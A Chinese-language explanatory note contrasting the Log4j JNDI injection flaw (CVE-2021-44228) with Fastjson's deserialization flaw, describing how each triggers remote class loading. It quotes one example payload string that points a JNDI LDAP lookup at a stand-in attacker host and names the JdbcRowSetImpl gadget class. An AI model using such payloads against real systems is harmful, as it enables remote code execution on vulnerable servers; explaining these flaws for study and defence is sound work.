结论:log4j是JNDI注入漏洞,可利用漏洞导致反序列化。
而fastjson是反序列化漏洞,可利用漏洞加载JNDI类。
JNDI(Java Naming and Directory Interface)是 Java 提供的一种 API,用于访问命名和目录服务(如 LDAP、RMI、DNS 等)
1. Log4j 的 JNDI 注入漏洞
Log4j 的 JNDI 注入漏洞(CVE-2021-44228)是典型的 通过字符串解析触发 JNDI 注入 的案例,而不是直接通过反序列化触发。
漏洞原理
Log4j 2.x 版本支持通过${}语法解析日志消息中的变量,并支持jndi:协议。
攻击者可以构造恶意的日志消息(如${jndi:ldap://attacker.com/Exploit}),触发 Log4j 的 JNDI 查找功能。
Log4j 会解析jndi:协议,并尝试通过 JNDI 查找加载远程的恶意类。
与反序列化的关系
不涉及反序列化:Log4j 的 JNDI 注入漏洞是通过字符串解析触发的,而不是通过反序列化。
后续加载恶意类:在 JNDI 查找过程中,目标应用程序会加载远程的恶意类(如通过 LDAP 或 RMI 加载的类),这可能涉及反序列化。但这种反序列化是 JNDI 查找的结果,而不是漏洞触发的直接原因。
2. Fastjson 的 JNDI 注入漏洞
Fastjson 的 JNDI 注入漏洞是通过 反序列化触发 的,因为 Fastjson 的核心功能是 JSON 数据的反序列化。
漏洞原理
Fastjson 在反序列化时,会根据 JSON 数据中的@type字段动态加载类。
攻击者可以构造恶意的 JSON 数据,利用 Fastjson 反序列化漏洞加载 JNDI 相关的类(如com.sun.rowset.JdbcRowSetImpl),并通过 JNDI 请求远程的恶意 LDAP/RMI 服务器,加载并执行恶意代码。
与反序列化的关系
直接依赖反序列化:Fastjson 的 JNDI 注入漏洞是通过反序列化触发的。攻击者通过构造恶意 JSON 数据,利用 Fastjson 的反序列化功能动态加载 JNDI 相关的类。
触发 JNDI 注入:在反序列化过程中,Fastjson 会调用 JNDI 相关的类(如JdbcRowSetImpl),从而触发 JNDI 注入。
3. 为什么 Log4j 和 Fastjson 的 JNDI 注入漏洞与反序列化相关
尽管 Log4j 和 Fastjson 的 JNDI 注入漏洞触发方式不同,但它们都与反序列化有一定的关联性,原因如下:
(1)Log4j 的 JNDI 注入
后续加载恶意类:在 Log4j 的 JNDI 注入漏洞中,目标应用程序会通过 JNDI 查找加载远程的恶意类。这种加载过程可能涉及反序列化(如通过 LDAP 或 RMI 加载的类)。
反序列化是结果:反序列化是 JNDI 查找的结果,而不是漏洞触发的直接原因。
(2)Fastjson 的 JNDI 注入
直接依赖反序列化:Fastjson 的 JNDI 注入漏洞是通过反序列化触发的。攻击者通过构造恶意 JSON 数据,利用 Fastjson 的反序列化功能动态加载 JNDI 相关的类。
反序列化是触发点:反序列化是漏洞触发的直接原因。